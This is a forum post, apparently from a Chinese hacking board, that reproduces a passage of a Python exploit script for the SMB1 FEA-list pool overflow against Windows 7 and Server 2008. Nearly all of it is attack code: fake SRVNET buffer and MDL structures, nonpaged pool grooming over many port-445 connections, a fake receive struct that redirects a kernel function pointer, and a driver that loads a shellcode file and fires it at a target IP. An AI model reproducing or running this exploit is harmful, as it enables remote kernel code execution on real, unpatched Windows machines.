  89.         // offset from SRVNET_POOLHDR: 0x20
  90.         LIST_ENTRY list;
  91.         // offset from SRVNET_POOLHDR: 0x30
  92.         char *pnetBuffer;
  93.         DWORD netbufSize;  // size of netBuffer
  94.         DWORD ioStatusInfo;  // copy value of IRP.IOStatus.Information
  95.         // offset from SRVNET_POOLHDR: 0x40
  96.         MDL *pMdl1; // at offset 0x70
  97.         DWORD nByteProcessed;
  98.         DWORD pad3;
  99.         // offset from SRVNET_POOLHDR: 0x50
  100.         DWORD nbssSize;  // size of this smb packet (from user)
  101.         DWORD pad4;
  102.         QWORD pSrvNetWekStruct;  // want to change to fake struct address
  103.         // offset from SRVNET_POOLHDR: 0x60
  104.         MDL *pMdl2;
  105.         QWORD unknown5;
  106.         // offset from SRVNET_POOLHDR: 0x70
  107.         // MDL mdl1;  // for this srvnetBuffer (so its pointer is srvnetBuffer address)
  108.         // MDL mdl2;
  109.         // char transportHeader[0x50];  // 0x50 is TRANSPORT_HEADER_SIZE
  110.         // char netBuffer[0];
  111. };

  112. struct SRVNET_POOLHDR {
  113.         DWORD size;
  114.         char unknown[12];
  115.         SRVNET_BUFFER hdr;
  116. };
  117. '''
  118. # Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
  119. # Here is the important fields on x64
  120. # - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
  121. #                           The value MUST point to valid (might be fake) struct.
  122. # - offset 0x70 (MDL)   : MDL for describe receiving SMB request buffer
  123. #   - 0x70 (VOID*)    : MDL.Next should be NULL
  124. #   - 0x78 (USHORT)   : MDL.Size should be some value that not too small
  125. #   - 0x7a (USHORT)   : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
  126. #   - 0x80 (VOID*)    : MDL.Process should be NULL
  127. #   - 0x88 (VOID*)    : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
  128. #                         The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
  129. #                        
  130. #
  131. # To free the corrupted srvnet buffer, shellcode MUST modify some memory value to satisfy condition.
  132. # Here is related field for freeing corrupted buffer
  133. # - offset 0x10 (USHORT): be 0xffff to make SrvNetFreeBuffer() really free the buffer (else buffer is pushed to srvnet lookaside)
  134. #                           a corrupted buffer MUST not be reused.
  135. # - offset 0x48 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
  136. #                           before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
  137. #                           your shellcode as function argument
  138. # - offset 0x60 (PMDL)  : points to any fake MDL with MDL.Flags 0x20 does not set
  139. # The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
  140. # Here is x64 assembly code for setting nByteProcessed field
  141. # - fetch SRVNET_BUFFER address from function argument
  142. #     \x48\x8b\x54\x24\x40  mov rdx, [rsp+0x40]
  143. # - set nByteProcessed for trigger free after return
  144. #     \x8b\x4a\x2c          mov ecx, [rdx+0x2c]
  145. #     \x89\x4a\x38          mov [rdx+0x38], ecx

  146. TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
  147. TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000

  148. fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
  149. fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
  150. fakeSrvNetBufferNsa += '\x00'*16
  151. fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
  152. fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0xffffffff, 0x60, 0x1004, 0)  # _, x86 MDL.Next, .Size, .MdlFlags, .Process
  153. fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64)  # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
  154. fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0)  # x64 pmdl2
  155. # below 0x20 bytes is overwritting MDL
  156. # NSA exploit overwrite StartVa, ByteCount, ByteOffset fields but I think no need because ByteCount is always big enough
  157. fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
  158. fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80)  # MDL.Process, MDL.MappedSystemVa

  159. # below is for targeting x64 only (all x86 related values are set to 0)
  160. # this is for show what fields need to be modified
  161. fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
  162. fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
  163. fakeSrvNetBufferX64 += '\x00'*16
  164. fakeSrvNetBufferX64 += '\x00'*16
  165. fakeSrvNetBufferX64 += '\x00'*16  # 0x40
  166. fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64)  # _, _, pointer to fake struct
  167. fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0)  # pmdl2
  168. fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
  169. fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80)  # MDL.Process, MDL.MappedSystemVa


  170. fakeSrvNetBuffer = fakeSrvNetBufferNsa
  171. #fakeSrvNetBuffer = fakeSrvNetBufferX64

  172. feaList = pack('<I', 0x10000)  # the max value of feaList size is 0x10000 (the only value that can trigger bug)
  173. feaList += ntfea[NTFEA_SIZE]
  174. # Note:
  175. # - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively
  176. #   - x64: below fea will be copy to offset 0x11000 of overflow buffer
  177. #   - x86: below fea will be copy to offset 0x10ff8 of overflow buffer
  178. feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name
  179. # stop copying by invalid flag (can be any value except 0 and 0x80)
  180. feaList += pack('<BBH', 0x12, 0x34, 0x5678)


  181. # fake struct for SrvNetWskReceiveComplete() and SrvNetCommonReceiveHandler()
  182. # x64: fake struct is at ffffffff ffd00010
  183. #   offset 0xa0:  LIST_ENTRY must be valid address. cannot be NULL.
  184. #   offset 0x08:  set to 3 (DWORD) for invoking ptr to function
  185. #   offset 0x1d0: KSPIN_LOCK
  186. #   offset 0x1d8: array of pointer to function
  187. #
  188. # code path to get code exection after this struct is controlled
  189. # SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
  190. fake_recv_struct = pack('<QII', 0, 3, 0)
  191. fake_recv_struct += '\x00'*16
  192. fake_recv_struct += pack('<QII', 0, 3, 0)
  193. fake_recv_struct += ('\x00'*16)*7
  194. fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0)  # offset 0xa0 (LIST_ENTRY to itself)
  195. fake_recv_struct += '\x00'*16
  196. fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0)  # x86 LIST_ENTRY
  197. fake_recv_struct += ('\x00'*16)*11
  198. fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190)  # fn_ptr array on x86
  199. fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0)  # x86 shellcode address
  200. fake_recv_struct += ('\x00'*16)*3
  201. fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0)  # offset 0x1d0: KSPINLOCK, fn_ptr array
  202. fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1)  # x64 shellcode address - 1 (this value will be increment by one)


  203. def getNTStatus(self):
  204.         return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
  205. setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)

  206. def sendEcho(conn, tid, data):
  207.         pkt = smb.NewSMBPacket()
  208.         pkt['Tid'] = tid

  209.         transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
  210.         transCommand['Parameters'] = smb.SMBEcho_Parameters()
  211.         transCommand['Data'] = smb.SMBEcho_Data()

  212.         transCommand['Parameters']['EchoCount'] = 1
  213.         transCommand['Data']['Data'] = data
  214.         pkt.addCommand(transCommand)

  215.         conn.sendSMB(pkt)
  216.         recvPkt = conn.recvSMB()
  217.         if recvPkt.getNTStatus() == 0:
  218.                 print('got good ECHO response')
  219.         else:
  220.                 print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))


  221. # do not know why Word Count can be 12
  222. # if word count is not 12, setting ByteCount without enough data will be failed
  223. class SMBSessionSetupAndXCustom_Parameters(smb.SMBAndXCommand_Parameters):
  224.         structure = (
  225.                 ('MaxBuffer','<H'),
  226.                 ('MaxMpxCount','<H'),
  227.                 ('VCNumber','<H'),
  228.                 ('SessionKey','<L'),
  229.                 #('AnsiPwdLength','<H'),
  230.                 ('UnicodePwdLength','<H'),
  231.                 ('_reserved','<L=0'),
  232.                 ('Capabilities','<L'),
  233.         )

  234. def createSessionAllocNonPaged(target, size):
  235.         # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function
  236.         # You can see the allocation logic (even code is not the same) in WinNT4 source code
  237.         # https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071
  238.         conn = smb.SMB(target, target)
  239.         _, flags2 = conn.get_flags()
  240.         # FLAGS2_EXTENDED_SECURITY MUST not be set
  241.         flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
  242.         # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
  243.         if size >= 0xffff:
  244.                 flags2 &= ~smb.SMB.FLAGS2_UNICODE
  245.                 reqSize = size // 2
  246.         else:
  247.                 flags2 |= smb.SMB.FLAGS2_UNICODE
  248.                 reqSize = size
  249.         conn.set_flags(flags2=flags2)
  250.        
  251.         pkt = smb.NewSMBPacket()

  252.         sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
  253.         sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters()

  254.         sessionSetup['Parameters']['MaxBuffer']        = 61440  # can be any value greater than response size
  255.         sessionSetup['Parameters']['MaxMpxCount']      = 2  # can by any value
  256.         sessionSetup['Parameters']['VCNumber']         = os.getpid()
  257.         sessionSetup['Parameters']['SessionKey']       = 0
  258.         sessionSetup['Parameters']['AnsiPwdLength']    = 0
  259.         sessionSetup['Parameters']['UnicodePwdLength'] = 0
  260.         sessionSetup['Parameters']['Capabilities']     = 0x80000000

  261.         # set ByteCount here
  262.         sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
  263.         pkt.addCommand(sessionSetup)

  264.         conn.sendSMB(pkt)
  265.         recvPkt = conn.recvSMB()
  266.         if recvPkt.getNTStatus() == 0:
  267.                 print('SMB1 session setup allocate nonpaged pool success')
  268.         else:
  269.                 print('SMB1 session setup allocate nonpaged pool failed')
  270.         return conn


  271. # Note: impacket-0.9.15 struct has no ParameterDisplacement
  272. ############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
  273. class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
  274.     structure = (
  275.         ('TotalParameterCount','<H=0'),
  276.         ('TotalDataCount','<H'),
  277.         ('ParameterCount','<H=0'),
  278.         ('ParameterOffset','<H=0'),
  279.         ('ParameterDisplacement','<H=0'),
  280.         ('DataCount','<H'),
  281.         ('DataOffset','<H'),
  282.         ('DataDisplacement','<H=0'),
  283.         ('FID','<H=0'),
  284.     )

  285. def send_trans2_second(conn, tid, data, displacement):
  286.         pkt = smb.NewSMBPacket()
  287.         pkt['Tid'] = tid

  288.         # assume no params

  289.         transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
  290.         transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
  291.         transCommand['Data'] = smb.SMBTransaction2Secondary_Data()

  292.         transCommand['Parameters']['TotalParameterCount'] = 0
  293.         transCommand['Parameters']['TotalDataCount'] = len(data)

  294.         fixedOffset = 32+3+18
  295.         transCommand['Data']['Pad1'] = ''

  296.         transCommand['Parameters']['ParameterCount'] = 0
  297.         transCommand['Parameters']['ParameterOffset'] = 0

  298.         if len(data) > 0:
  299.                 pad2Len = (4 - fixedOffset % 4) % 4
  300.                 transCommand['Data']['Pad2'] = '\xFF' * pad2Len
  301.         else:
  302.                 transCommand['Data']['Pad2'] = ''
  303.                 pad2Len = 0

  304.         transCommand['Parameters']['DataCount'] = len(data)
  305.         transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
  306.         transCommand['Parameters']['DataDisplacement'] = displacement

  307.         transCommand['Data']['Trans_Parameters'] = ''
  308.         transCommand['Data']['Trans_Data'] = data
  309.         pkt.addCommand(transCommand)

  310.         conn.sendSMB(pkt)


  311. def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
  312.         pkt = smb.NewSMBPacket()
  313.         pkt['Tid'] = tid

  314.         command = pack('<H', setup)

  315.         transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
  316.         transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
  317.         transCommand['Parameters']['MaxSetupCount'] = 1
  318.         transCommand['Parameters']['MaxParameterCount'] = len(param)
  319.         transCommand['Parameters']['MaxDataCount'] = 0
  320.         transCommand['Data'] = smb.SMBTransaction2_Data()

  321.         transCommand['Parameters']['Setup'] = command
  322.         transCommand['Parameters']['TotalParameterCount'] = len(param)
  323.         transCommand['Parameters']['TotalDataCount'] = len(data)

  324.         fixedOffset = 32+3+38 + len(command)
  325.         if len(param) > 0:
  326.                 padLen = (4 - fixedOffset % 4 ) % 4
  327.                 padBytes = '\xFF' * padLen
  328.                 transCommand['Data']['Pad1'] = padBytes
  329.         else:
  330.                 transCommand['Data']['Pad1'] = ''
  331.                 padLen = 0

  332.         transCommand['Parameters']['ParameterCount'] = len(param)
  333.         transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

  334.         if len(data) > 0:
  335.                 pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
  336.                 transCommand['Data']['Pad2'] = '\xFF' * pad2Len
  337.         else:
  338.                 transCommand['Data']['Pad2'] = ''
  339.                 pad2Len = 0

  340.         transCommand['Parameters']['DataCount'] = firstDataFragmentSize
  341.         transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

  342.         transCommand['Data']['Trans_Parameters'] = param
  343.         transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
  344.         pkt.addCommand(transCommand)

  345.         conn.sendSMB(pkt)
  346.         conn.recvSMB() # must be success
  347.        
  348.         i = firstDataFragmentSize
  349.         while i < len(data):
  350.                 sendSize = min(4096, len(data) - i)
  351.                 if len(data) - i <= 4096:
  352.                         if not sendLastChunk:
  353.                                 break
  354.                 send_trans2_second(conn, tid, data[i:i+sendSize], i)
  355.                 i += sendSize
  356.        
  357.         if sendLastChunk:
  358.                 conn.recvSMB()
  359.         return i

  360.        
  361. # connect to target and send a large nbss size with data 0x80 bytes
  362. # this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target
  363. # a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten)
  364. def createConnectionWithBigSMBFirst80(target):
  365.         # https://msdn.microsoft.com/en-us/library/cc246496.aspx
  366.         # Above link is about SMB2, but the important here is first 4 bytes.
  367.         # If using wireshark, you will see the StreamProtocolLength is NBSS length.
  368.         # The first 4 bytes is same for all SMB version. It is used for determine the SMB message length.
  369.         #
  370.         # After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message.
  371.         # srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message.
  372.         # Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too.
  373.         sk = socket.create_connection((target, 445))
  374.         # For this exploit, use size is 0x11000
  375.         pkt = '\x00' + '\x00' + pack('>H', 0xfff7)
  376.         # There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.
  377.         # Also this is invalid SMB2 message.
  378.         # I believe NSA exploit use SMB2 for hiding alert from IDS
  379.         #pkt += '\xffSMB' # smb2
  380.         # it can be anything even it is invalid
  381.         pkt += 'BAAD' # can be any
  382.         pkt += '\x00'*0x7c
  383.         sk.send(pkt)
  384.         return sk


  385. def exploit(target, shellcode, numGroomConn):
  386.         # force using smb.SMB for SMB1
  387.         conn = smb.SMB(target, target)

  388.         # can use conn.login() for ntlmv2
  389.         conn.login_standard('', '')
  390.         server_os = conn.get_server_os()
  391.         print('Target OS: '+server_os)
  392.         if not (server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 ")):
  393.                 print('This exploit does not support this target')
  394.                 sys.exit()
  395.        

  396.         tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC


  397. )

  398.         # Here is code path in WinNT4 (all reference files are relative path to https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/)
  399.         # - SrvSmbNtTransaction() (smbtrans.c#L2677)
  400.         #   - When all data is received, call ExecuteTransaction() at (smbtrans.c#L3113)
  401.         # - ExecuteTransaction() (smbtrans.c#L82)
  402.         #   - Call dispatch table (smbtrans.c#L347)
  403.         #   - Dispatch table is defined at srvdata.c#L972 (target is command 0, SrvSmbOpen2() function)
  404.         # - SrvSmbOpen2() (smbopen.c#L1002)
  405.         #   - call SrvOs2FeaListToNt() (smbopen.c#L1095)
  406.        
  407.         # https://msdn.microsoft.com/en-us/library/ee441720.aspx
  408.         # Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command
  409.         # Note: cannot use SMB_COM_TRANSACTION2 for the exploit because the TotalDataCount field is USHORT
  410.         # Note: transaction max data count is 66512 (0x103d0) and DataDisplacement is USHORT
  411.         progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, 2000, False)
  412.         # we have to know what size of NtFeaList will be created when last fragment is sent

  413.         # make sure server recv all payload before starting allocate big NonPaged
  414.         #sendEcho(conn, tid, 'a'*12)

  415.         # create buffer size NTFEA_SIZE-0x1000 at server
  416.         # this buffer MUST NOT be big enough for overflown buffer
  417.         allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)
  418.        
  419.         # groom nonpaged pool
  420.         # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
  421.         srvnetConn = []
  422.         for i in range(numGroomConn):
  423.                 sk = createConnectionWithBigSMBFirst80(target)
  424.                 srvnetConn.append(sk)

  425.         # create buffer size NTFEA_SIZE at server
  426.         # this buffer will be replaced by overflown buffer
  427.         holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
  428.         # disconnect allocConn to free buffer
  429.         # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
  430.         allocConn.get_socket().close()

  431.         # hope one of srvnetConn is next to holeConn
  432.         for i in range(5):
  433.                 sk = createConnectionWithBigSMBFirst80(target)
  434.                 srvnetConn.append(sk)
  435.                
  436.         # send echo again, all new 5 srvnet buffers should be created
  437.         #sendEcho(conn, tid, 'a'*12)
  438.        
  439.         # remove holeConn to create hole for fea buffer
  440.         holeConn.get_socket().close()

  441.         # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
  442.         send_trans2_second(conn, tid, feaList[progress:], progress)
  443.         recvPkt = conn.recvSMB()
  444.         retStatus = recvPkt.getNTStatus()
  445.         # retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag
  446.         if retStatus == 0xc000000d:
  447.                 print('good response status: INVALID_PARAMETER')
  448.         else:
  449.                 print('bad response status: 0x{:08x}'.format(retStatus))
  450.                

  451.         # one of srvnetConn struct header should be modified
  452.         # a corrupted buffer will write recv data in designed memory address
  453.         for sk in srvnetConn:
  454.                 sk.send(fake_recv_struct + shellcode)

  455.         # execute shellcode by closing srvnet connection
  456.         for sk in srvnetConn:
  457.                 sk.close()

  458.         # nicely close connection (no need for exploit)
  459.         conn.disconnect_tree(tid)
  460.         conn.logoff()
  461.         conn.get_socket().close()


  462. if len(sys.argv) < 3:
  463.         print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
  464.         sys.exit(1)

  465. TARGET=sys.argv[1]
  466. numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])

  467. fp = open(sys.argv[2], 'rb')
  468. sc = fp.read()
  469. fp.close()

  470. print('shellcode size: {:d}'.format(len(sc)))
  471. print('numGroomConn: {:d}'.format(numGroomConn))

  472. exploit(TARGET, sc, numGroomConn)
  473. print('done')
复制代码



过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表